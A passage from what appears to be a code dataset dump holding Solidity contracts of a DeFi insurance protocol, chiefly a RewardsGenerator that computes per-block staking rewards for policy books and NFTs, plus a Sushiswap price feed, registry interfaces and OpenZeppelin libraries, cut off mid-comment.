file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
---|---|---|---|---|---|---|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
uint256 constant SECONDS_IN_THE_YEAR = 365 * 24 * 60 * 60; // 365 days * 24 hours * 60 minutes * 60 seconds
uint256 constant DAYS_IN_THE_YEAR = 365;
uint256 constant MAX_INT = type(uint256).max;
uint256 constant DECIMALS18 = 10**18;
uint256 constant PRECISION = 10**25;
uint256 constant PERCENTAGE_100 = 100 * PRECISION;
uint256 constant BLOCKS_PER_DAY = 6450;
uint256 constant BLOCKS_PER_YEAR = BLOCKS_PER_DAY * 365;
uint256 constant APY_TOKENS = DECIMALS18;
uint256 constant PROTOCOL_PERCENTAGE = 20 * PRECISION;
uint256 constant DEFAULT_REBALANCING_THRESHOLD = 10**23;
uint256 constant EPOCH_DAYS_AMOUNT = 7;
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./libraries/DecimalsConverter.sol";
import "./interfaces/IContractsRegistry.sol";
import "./interfaces/IPolicyBookRegistry.sol";
import "./interfaces/IRewardsGenerator.sol";
import "./helpers/PriceFeed.sol";
import "./abstract/AbstractDependant.sol";
import "./Globals.sol";
contract RewardsGenerator is IRewardsGenerator, OwnableUpgradeable, AbstractDependant {
using SafeMath for uint256;
using Math for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
IERC20 public bmiToken;
IPolicyBookRegistry public policyBookRegistry;
IPriceFeed public priceFeed;
address public bmiCoverStakingAddress;
address public bmiStakingAddress;
address public legacyRewardsGeneratorAddress;
uint256 public stblDecimals;
uint256 public rewardPerBlock; // is zero by default
uint256 public totalPoolStaked; // includes 5 decimal places
uint256 public cumulativeSum; // includes 100 percentage
uint256 public toUpdateRatio; // includes 100 percentage
uint256 public lastUpdateBlock;
mapping(address => PolicyBookRewardInfo) internal _policyBooksRewards; // policybook -> policybook info
mapping(uint256 => StakeRewardInfo) internal _stakes; // nft index -> stake info
address public bmiCoverStakingViewAddress;
event TokensSent(address stakingAddress, uint256 amount);
event TokensRecovered(address to, uint256 amount);
event RewardPerBlockSet(uint256 rewardPerBlock);
modifier onlyBMICoverStaking() {
require(
_msgSender() == bmiCoverStakingAddress || _msgSender() == bmiCoverStakingViewAddress,
"RewardsGenerator: Caller is not a BMICoverStaking contract"
);
_;
}
modifier onlyPolicyBooks() {
require(
policyBookRegistry.isPolicyBook(_msgSender()),
"RewardsGenerator: The caller does not have access"
);
_;
}
modifier onlyLegacyRewardsGenerator() {
require(
_msgSender() == legacyRewardsGeneratorAddress,
"RewardsGenerator: The caller is not an LRG"
);
_;
}
function __RewardsGenerator_init() external initializer {
__Ownable_init();
}
function setDependencies(IContractsRegistry _contractsRegistry)
external
override
onlyInjectorOrZero
{
bmiToken = IERC20(_contractsRegistry.getBMIContract());
bmiStakingAddress = _contractsRegistry.getBMIStakingContract();
bmiCoverStakingAddress = _contractsRegistry.getBMICoverStakingContract();
bmiCoverStakingViewAddress = _contractsRegistry.getBMICoverStakingViewContract();
policyBookRegistry = IPolicyBookRegistry(
_contractsRegistry.getPolicyBookRegistryContract()
);
priceFeed = IPriceFeed(_contractsRegistry.getPriceFeedContract());
legacyRewardsGeneratorAddress = _contractsRegistry.getLegacyRewardsGeneratorContract();
stblDecimals = ERC20(_contractsRegistry.getUSDTContract()).decimals();
}
/// @notice withdraws all underlying BMIs to the owner
function recoverTokens() external onlyOwner {
uint256 balance = bmiToken.balanceOf(address(this));
bmiToken.transfer(_msgSender(), balance);
emit TokensRecovered(_msgSender(), balance);
}
function sendFundsToBMIStaking(uint256 amount) external onlyOwner {
bmiToken.transfer(bmiStakingAddress, amount);
emit TokensSent(bmiStakingAddress, amount);
}
function sendFundsToBMICoverStaking(uint256 amount) external onlyOwner {
bmiToken.transfer(bmiCoverStakingAddress, amount);
emit TokensSent(bmiCoverStakingAddress, amount);
}
function setRewardPerBlock(uint256 _rewardPerBlock) external onlyOwner {
rewardPerBlock = _rewardPerBlock;
_updateCumulativeSum(address(0));
emit RewardPerBlockSet(_rewardPerBlock);
}
/// @notice updates cumulative sum for a particular PB or for all of them if policyBookAddress is zero
function _updateCumulativeSum(address policyBookAddress) internal {
uint256 toAddSum = block.number.sub(lastUpdateBlock).mul(toUpdateRatio);
uint256 totalStaked = totalPoolStaked;
uint256 newCumulativeSum = cumulativeSum.add(toAddSum);
totalStaked > 0
? toUpdateRatio = rewardPerBlock.mul(PERCENTAGE_100 * 10**5).div(totalStaked)
: toUpdateRatio = 0;
if (policyBookAddress != address(0)) {
PolicyBookRewardInfo storage info = _policyBooksRewards[policyBookAddress];
info.cumulativeReward = info.cumulativeReward.add(
newCumulativeSum.sub(info.lastCumulativeSum).mul(info.rewardMultiplier).div(10**5)
);
info.lastCumulativeSum = newCumulativeSum;
}
cumulativeSum = newCumulativeSum;
lastUpdateBlock = block.number;
}
/// @notice emulates a cumulative sum update for a specific PB and returns its accumulated reward (per token)
function _getPBCumulativeReward(address policyBookAddress) internal view returns (uint256) {
PolicyBookRewardInfo storage info = _policyBooksRewards[policyBookAddress];
uint256 toAddSum = block.number.sub(lastUpdateBlock).mul(toUpdateRatio);
return
info.cumulativeReward.add(
cumulativeSum
.add(toAddSum)
.sub(info.lastCumulativeSum)
.mul(info.rewardMultiplier)
.div(10**5)
);
}
function _getNFTCumulativeReward(uint256 nftIndex, uint256 pbCumulativeReward)
internal
view
returns (uint256)
{
return
_stakes[nftIndex].cumulativeReward.add(
pbCumulativeReward
.sub(_stakes[nftIndex].lastCumulativeSum)
.mul(_stakes[nftIndex].stakeAmount)
.div(PERCENTAGE_100)
);
}
/// @notice updates the share of the PB based on the new rewards multiplier (also changes the share of others)
function updatePolicyBookShare(uint256 newRewardMultiplier) external override onlyPolicyBooks {
PolicyBookRewardInfo storage info = _policyBooksRewards[_msgSender()];
uint256 totalPBStaked = info.totalStaked;
uint256 totalStaked = totalPoolStaked;
totalStaked = totalStaked.sub(totalPBStaked.mul(info.rewardMultiplier));
totalStaked = totalStaked.add(totalPBStaked.mul(newRewardMultiplier));
totalPoolStaked = totalStaked;
_updateCumulativeSum(_msgSender());
info.rewardMultiplier = newRewardMultiplier;
}
/// @notice aggregates specified NFTs into a single one, including the rewards
function aggregate(
address policyBookAddress,
uint256[] calldata nftIndexes,
uint256 nftIndexTo
) external override onlyBMICoverStaking {
require(_stakes[nftIndexTo].stakeAmount == 0, "RewardsGenerator: Aggregator is staked");
_updateCumulativeSum(policyBookAddress);
uint256 pbCumulativeReward = _policyBooksRewards[policyBookAddress].cumulativeReward;
uint256 aggregatedReward;
uint256 aggregatedStakeAmount;
for (uint256 i = 0; i < nftIndexes.length; i++) {
uint256 nftReward = _getNFTCumulativeReward(nftIndexes[i], pbCumulativeReward);
uint256 stakedAmount = _stakes[nftIndexes[i]].stakeAmount;
require(stakedAmount > 0, "RewardsGenerator: Aggregated not staked");
aggregatedReward = aggregatedReward.add(nftReward);
aggregatedStakeAmount = aggregatedStakeAmount.add(stakedAmount);
delete _stakes[nftIndexes[i]];
}
_stakes[nftIndexTo] = StakeRewardInfo(
pbCumulativeReward,
aggregatedReward,
aggregatedStakeAmount
);
}
function _stake(
address policyBookAddress,
uint256 nftIndex,
uint256 amount,
uint256 currentReward
) internal {
require(_stakes[nftIndex].stakeAmount == 0, "RewardsGenerator: Already staked");
PolicyBookRewardInfo storage info = _policyBooksRewards[policyBookAddress];
if (info.totalStaked == 0) {
info.lastUpdateBlock = block.number;
info.cumulativeReward = 0;
}
totalPoolStaked = totalPoolStaked.add(amount.mul(info.rewardMultiplier));
_updateCumulativeSum(policyBookAddress);
info.totalStaked = info.totalStaked.add(amount);
_stakes[nftIndex] = StakeRewardInfo(info.cumulativeReward, currentReward, amount);
}
/// @notice rewards multipliers must be set before anyone migrates
function migrationStake(
address policyBookAddress,
uint256 nftIndex,
uint256 amount,
uint256 currentReward
) external override onlyLegacyRewardsGenerator {
_stake(policyBookAddress, nftIndex, amount, currentReward);
}
/// @notice attaches underlying STBL tokens to an NFT and initiates rewards gain
function stake(
address policyBookAddress,
uint256 nftIndex,
uint256 amount
) external override onlyBMICoverStaking {
_stake(policyBookAddress, nftIndex, amount, 0);
}
/// @notice calculates APY of the specific PB
/// @dev returns APY% in STBL multiplied by 10**5
function getPolicyBookAPY(address policyBookAddress)
external
view
override
onlyBMICoverStaking
returns (uint256)
{
uint256 policyBookRewardMultiplier =
_policyBooksRewards[policyBookAddress].rewardMultiplier;
uint256 totalStakedPolicyBook =
_policyBooksRewards[policyBookAddress].totalStaked.add(APY_TOKENS);
uint256 rewardPerBlockPolicyBook =
policyBookRewardMultiplier.mul(totalStakedPolicyBook).mul(rewardPerBlock).div(
totalPoolStaked.add(policyBookRewardMultiplier.mul(APY_TOKENS))
);
if (rewardPerBlockPolicyBook == 0) {
return 0;
}
uint256 rewardPerBlockPolicyBookSTBL =
DecimalsConverter
.convertTo18(priceFeed.howManyUSDTsInBMI(rewardPerBlockPolicyBook), stblDecimals)
.mul(10**5); // 5 decimals of precision
return
rewardPerBlockPolicyBookSTBL.mul(BLOCKS_PER_DAY * 365).mul(100).div(
totalStakedPolicyBook
);
}
/// @notice returns policybook's RewardMultiplier multiplied by 10**5
function getPolicyBookRewardMultiplier(address policyBookAddress)
external
view
override
onlyPolicyBooks
returns (uint256)
{
return _policyBooksRewards[policyBookAddress].rewardMultiplier;
}
/// @dev returns PolicyBook reward per block multiplied by 10**25
function getPolicyBookRewardPerBlock(address policyBookAddress)
external
view
override
returns (uint256)
{
uint256 totalStaked = totalPoolStaked;
return
totalStaked > 0
? _policyBooksRewards[policyBookAddress]
.rewardMultiplier
.mul(_policyBooksRewards[policyBookAddress].totalStaked)
.mul(rewardPerBlock)
.mul(PRECISION)
.div(totalStaked)
: 0;
}
/// @notice returns how much STBL are using in rewards generation in the specific PB
function getStakedPolicyBookSTBL(address policyBookAddress)
external
view
override
returns (uint256)
{
return _policyBooksRewards[policyBookAddress].totalStaked;
}
/// @notice returns how much STBL are used by an NFT
function getStakedNFTSTBL(uint256 nftIndex) external view override returns (uint256) {
return _stakes[nftIndex].stakeAmount;
}
/// @notice returns current reward of an NFT
function getReward(address policyBookAddress, uint256 nftIndex)
external
view
override
onlyBMICoverStaking
returns (uint256)
{
return _getNFTCumulativeReward(nftIndex, _getPBCumulativeReward(policyBookAddress));
}
/// @notice withdraws funds/rewards of this NFT
/// if funds are withdrawn, updates shares of the PBs
function _withdraw(
address policyBookAddress,
uint256 nftIndex,
bool onlyReward
) internal returns (uint256) {
require(_stakes[nftIndex].stakeAmount > 0, "RewardsGenerator: Not staked");
PolicyBookRewardInfo storage info = _policyBooksRewards[policyBookAddress];
if (!onlyReward) {
uint256 amount = _stakes[nftIndex].stakeAmount;
totalPoolStaked = totalPoolStaked.sub(amount.mul(info.rewardMultiplier));
_updateCumulativeSum(policyBookAddress);
info.totalStaked = info.totalStaked.sub(amount);
} else {
_updateCumulativeSum(policyBookAddress);
}
/// @dev no need to update the NFT reward, because it will be erased just after
return _getNFTCumulativeReward(nftIndex, info.cumulativeReward);
}
/// @notice withdraws funds (rewards + STBL tokens) of this NFT
function withdrawFunds(address policyBookAddress, uint256 nftIndex)
external
override
onlyBMICoverStaking
returns (uint256)
{
uint256 reward = _withdraw(policyBookAddress, nftIndex, false);
delete _stakes[nftIndex];
return reward;
}
/// @notice withdraws rewards of this NFT
function withdrawReward(address policyBookAddress, uint256 nftIndex)
external
override
onlyBMICoverStaking
returns (uint256)
{
uint256 reward = _withdraw(policyBookAddress, nftIndex, true);
_stakes[nftIndex].lastCumulativeSum = _policyBooksRewards[policyBookAddress]
.cumulativeReward;
_stakes[nftIndex].cumulativeReward = 0;
return reward;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
import "../interfaces/IContractsRegistry.sol";
abstract contract AbstractDependant {
/// @dev keccak256(AbstractDependant.setInjector(address)) - 1
bytes32 private constant _INJECTOR_SLOT =
0xd6b8f2e074594ceb05d47c27386969754b6ad0c15e5eb8f691399cd0be980e76;
modifier onlyInjectorOrZero() {
address _injector = injector();
require(_injector == address(0) || _injector == msg.sender, "Dependant: Not an injector");
_;
}
function setInjector(address _injector) external onlyInjectorOrZero {
bytes32 slot = _INJECTOR_SLOT;
assembly {
sstore(slot, _injector)
}
}
/// @dev has to apply onlyInjectorOrZero() modifier
function setDependencies(IContractsRegistry) external virtual;
function injector() public view returns (address _injector) {
bytes32 slot = _INJECTOR_SLOT;
assembly {
_injector := sload(slot)
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "../interfaces/helpers/IPriceFeed.sol";
import "../abstract/AbstractDependant.sol";
contract PriceFeed is IPriceFeed, AbstractDependant {
IUniswapV2Router02 public sushiswapRouter;
address public wethToken;
address public bmiToken;
address public usdtToken;
function setDependencies(IContractsRegistry _contractsRegistry)
external
override
onlyInjectorOrZero
{
sushiswapRouter = IUniswapV2Router02(_contractsRegistry.getSushiswapRouterContract());
wethToken = _contractsRegistry.getWETHContract();
bmiToken = _contractsRegistry.getBMIContract();
usdtToken = _contractsRegistry.getUSDTContract();
}
function howManyBMIsInUSDT(uint256 usdtAmount) external view override returns (uint256) {
if (usdtAmount == 0) {
return 0;
}
address[] memory pairs = new address[](3);
pairs[0] = usdtToken;
pairs[1] = wethToken;
pairs[2] = bmiToken;
uint256[] memory amounts = sushiswapRouter.getAmountsOut(usdtAmount, pairs);
return amounts[amounts.length - 1];
}
function howManyUSDTsInBMI(uint256 bmiAmount) external view override returns (uint256) {
if (bmiAmount == 0) {
return 0;
}
address[] memory pairs = new address[](3);
pairs[0] = bmiToken;
pairs[1] = wethToken;
pairs[2] = usdtToken;
uint256[] memory amounts = sushiswapRouter.getAmountsOut(bmiAmount, pairs);
return amounts[amounts.length - 1];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
interface IContractsRegistry {
function getUniswapRouterContract() external view returns (address);
function getUniswapBMIToETHPairContract() external view returns (address);
function getUniswapBMIToUSDTPairContract() external view returns (address);
function getSushiswapRouterContract() external view returns (address);
function getSushiswapBMIToETHPairContract() external view returns (address);
function getSushiswapBMIToUSDTPairContract() external view returns (address);
function getSushiSwapMasterChefV2Contract() external view returns (address);
function getWETHContract() external view returns (address);
function getUSDTContract() external view returns (address);
function getBMIContract() external view returns (address);
function getPriceFeedContract() external view returns (address);
function getPolicyBookRegistryContract() external view returns (address);
function getPolicyBookFabricContract() external view returns (address);
function getBMICoverStakingContract() external view returns (address);
function getBMICoverStakingViewContract() external view returns (address);
function getLegacyRewardsGeneratorContract() external view returns (address);
function getRewardsGeneratorContract() external view returns (address);
function getBMIUtilityNFTContract() external view returns (address);
function getNFTStakingContract() external view returns (address);
function getLiquidityMiningContract() external view returns (address);
function getClaimingRegistryContract() external view returns (address);
function getPolicyRegistryContract() external view returns (address);
function getLiquidityRegistryContract() external view returns (address);
function getClaimVotingContract() external view returns (address);
function getReinsurancePoolContract() external view returns (address);
function getLeveragePortfolioViewContract() external view returns (address);
function getCapitalPoolContract() external view returns (address);
function getPolicyBookAdminContract() external view returns (address);
function getPolicyQuoteContract() external view returns (address);
function getLegacyBMIStakingContract() external view returns (address);
function getBMIStakingContract() external view returns (address);
function getSTKBMIContract() external view returns (address);
function getVBMIContract() external view returns (address);
function getLegacyLiquidityMiningStakingContract() external view returns (address);
function getLiquidityMiningStakingETHContract() external view returns (address);
function getLiquidityMiningStakingUSDTContract() external view returns (address);
function getReputationSystemContract() external view returns (address);
function getAaveProtocolContract() external view returns (address);
function getAaveLendPoolAddressProvdierContract() external view returns (address);
function getAaveATokenContract() external view returns (address);
function getCompoundProtocolContract() external view returns (address);
function getCompoundCTokenContract() external view returns (address);
function getCompoundComptrollerContract() external view returns (address);
function getYearnProtocolContract() external view returns (address);
function getYearnVaultContract() external view returns (address);
function getYieldGeneratorContract() external view returns (address);
function getShieldMiningContract() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
interface IPolicyBookFabric {
enum ContractType {CONTRACT, STABLECOIN, SERVICE, EXCHANGE, VARIOUS}
/// @notice Create new Policy Book contract, access: ANY
/// @param _contract is Contract to create policy book for
/// @param _contractType is Contract to create policy book for
/// @param _description is bmiXCover token desription for this policy book
/// @param _projectSymbol replaces x in bmiXCover token symbol
/// @param _initialDeposit is an amount user deposits on creation (addLiquidity())
/// @return _policyBook is address of created contract
function create(
address _contract,
ContractType _contractType,
string calldata _description,
string calldata _projectSymbol,
uint256 _initialDeposit,
address _shieldMiningToken
) external returns (address);
function createLeveragePools(
ContractType _contractType,
string calldata _description,
string calldata _projectSymbol
) external returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "./IPolicyBookFabric.sol";
interface IPolicyBookRegistry {
struct PolicyBookStats {
string symbol;
address insuredContract;
IPolicyBookFabric.ContractType contractType;
uint256 maxCapacity;
uint256 totalSTBLLiquidity;
uint256 totalLeveragedLiquidity;
uint256 stakedSTBL;
uint256 APY;
uint256 annualInsuranceCost;
uint256 bmiXRatio;
bool whitelisted;
}
function policyBooksByInsuredAddress(address insuredContract) external view returns (address);
function policyBookFacades(address facadeAddress) external view returns (address);
/// @notice Adds PolicyBook to registry, access: PolicyFabric
function add(
address insuredContract,
IPolicyBookFabric.ContractType contractType,
address policyBook,
address facadeAddress
) external;
function whitelist(address policyBookAddress, bool whitelisted) external;
/// @notice returns required allowances for the policybooks
function getPoliciesPrices(
address[] calldata policyBooks,
uint256[] calldata epochsNumbers,
uint256[] calldata coversTokens
) external view returns (uint256[] memory _durations, uint256[] memory _allowances);
/// @notice Buys a batch of policies
function buyPolicyBatch(
address[] calldata policyBooks,
uint256[] calldata epochsNumbers,
uint256[] calldata coversTokens
) external;
/// @notice Checks if provided address is a PolicyBook
function isPolicyBook(address policyBook) external view returns (bool);
/// @notice Checks if provided address is a policyBookFacade
function isPolicyBookFacade(address _facadeAddress) external view returns (bool);
/// @notice Checks if provided address is a user leverage pool
function isUserLeveragePool(address policyBookAddress) external view returns (bool);
/// @notice Returns number of registered PolicyBooks with certain contract type
function countByType(IPolicyBookFabric.ContractType contractType)
external
view
returns (uint256);
/// @notice Returns number of registered PolicyBooks, access: ANY
function count() external view returns (uint256);
function countByTypeWhitelisted(IPolicyBookFabric.ContractType contractType)
external
view
returns (uint256);
function countWhitelisted() external view returns (uint256);
/// @notice Listing registered PolicyBooks with certain contract type, access: ANY
/// @return _policyBooksArr is array of registered PolicyBook addresses with certain contract type
function listByType(
IPolicyBookFabric.ContractType contractType,
uint256 offset,
uint256 limit
) external view returns (address[] memory _policyBooksArr);
/// @notice Listing registered PolicyBooks, access: ANY
/// @return _policyBooksArr is array of registered PolicyBook addresses
function list(uint256 offset, uint256 limit)
external
view
returns (address[] memory _policyBooksArr);
function listByTypeWhitelisted(
IPolicyBookFabric.ContractType contractType,
uint256 offset,
uint256 limit
) external view returns (address[] memory _policyBooksArr);
function listWhitelisted(uint256 offset, uint256 limit)
external
view
returns (address[] memory _policyBooksArr);
/// @notice Listing registered PolicyBooks with stats and certain contract type, access: ANY
function listWithStatsByType(
IPolicyBookFabric.ContractType contractType,
uint256 offset,
uint256 limit
) external view returns (address[] memory _policyBooksArr, PolicyBookStats[] memory _stats);
/// @notice Listing registered PolicyBooks with stats, access: ANY
function listWithStats(uint256 offset, uint256 limit)
external
view
returns (address[] memory _policyBooksArr, PolicyBookStats[] memory _stats);
function listWithStatsByTypeWhitelisted(
IPolicyBookFabric.ContractType contractType,
uint256 offset,
uint256 limit
) external view returns (address[] memory _policyBooksArr, PolicyBookStats[] memory _stats);
function listWithStatsWhitelisted(uint256 offset, uint256 limit)
external
view
returns (address[] memory _policyBooksArr, PolicyBookStats[] memory _stats);
/// @notice Getting stats from policy books, access: ANY
/// @param policyBooks is list of PolicyBooks addresses
function stats(address[] calldata policyBooks)
external
view
returns (PolicyBookStats[] memory _stats);
/// @notice Return existing Policy Book contract, access: ANY
/// @param insuredContract is contract address to lookup for created IPolicyBook
function policyBookFor(address insuredContract) external view returns (address);
/// @notice Getting stats from policy books, access: ANY
/// @param insuredContracts is list of insuredContracts in registry
function statsByInsuredContracts(address[] calldata insuredContracts)
external
view
returns (PolicyBookStats[] memory _stats);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
interface IRewardsGenerator {
struct PolicyBookRewardInfo {
uint256 rewardMultiplier; // includes 5 decimal places
uint256 totalStaked;
uint256 lastUpdateBlock;
uint256 lastCumulativeSum; // includes 100 percentage
uint256 cumulativeReward; // includes 100 percentage
}
struct StakeRewardInfo {
uint256 lastCumulativeSum; // includes 100 percentage
uint256 cumulativeReward;
uint256 stakeAmount;
}
/// @notice this function is called every time policybook's STBL to bmiX rate changes
function updatePolicyBookShare(uint256 newRewardMultiplier) external;
/// @notice aggregates specified nfts into a single one
function aggregate(
address policyBookAddress,
uint256[] calldata nftIndexes,
uint256 nftIndexTo
) external;
/// @notice migrates stake from the LegacyRewardsGenerator (will be called once for each user)
/// the rewards multipliers must be set in advance
function migrationStake(
address policyBookAddress,
uint256 nftIndex,
uint256 amount,
uint256 currentReward
) external;
/// @notice informs generator of stake (rewards)
function stake(
address policyBookAddress,
uint256 nftIndex,
uint256 amount
) external;
/// @notice returns policybook's APY multiplied by 10**5
function getPolicyBookAPY(address policyBookAddress) external view returns (uint256);
/// @notice returns policybook's RewardMultiplier multiplied by 10**5
function getPolicyBookRewardMultiplier(address policyBookAddress)
external
view
returns (uint256);
/// @dev returns PolicyBook reward per block multiplied by 10**25
function getPolicyBookRewardPerBlock(address policyBookAddress)
external
view
returns (uint256);
/// @notice returns PolicyBook's staked STBL
function getStakedPolicyBookSTBL(address policyBookAddress) external view returns (uint256);
/// @notice returns NFT's staked STBL
function getStakedNFTSTBL(uint256 nftIndex) external view returns (uint256);
/// @notice returns a reward of NFT
function getReward(address policyBookAddress, uint256 nftIndex)
external
view
returns (uint256);
/// @notice informs generator of withdrawal (all funds)
function withdrawFunds(address policyBookAddress, uint256 nftIndex) external returns (uint256);
/// @notice informs generator of withdrawal (rewards)
function withdrawReward(address policyBookAddress, uint256 nftIndex)
external
returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
interface IPriceFeed {
function howManyBMIsInUSDT(uint256 usdtAmount) external view returns (uint256);
function howManyUSDTsInBMI(uint256 bmiAmount) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
/// @notice the intention of this library is to be able to easily convert
/// one amount of tokens with N decimal places
/// to another amount with M decimal places
library DecimalsConverter {
using SafeMath for uint256;
function convert(
uint256 amount,
uint256 baseDecimals,
uint256 destinationDecimals
) internal pure returns (uint256) {
if (baseDecimals > destinationDecimals) {
amount = amount.div(10**(baseDecimals - destinationDecimals));
} else if (baseDecimals < destinationDecimals) {
amount = amount.mul(10**(destinationDecimals - baseDecimals));
}
return amount;
}
function convertTo18(uint256 amount, uint256 baseDecimals) internal pure returns (uint256) {
return convert(amount, baseDecimals, 18);
}
function convertFrom18(uint256 amount, uint256 destinationDecimals)
internal
pure
returns (uint256)
{
return convert(amount, 18, destinationDecimals);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../GSN/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
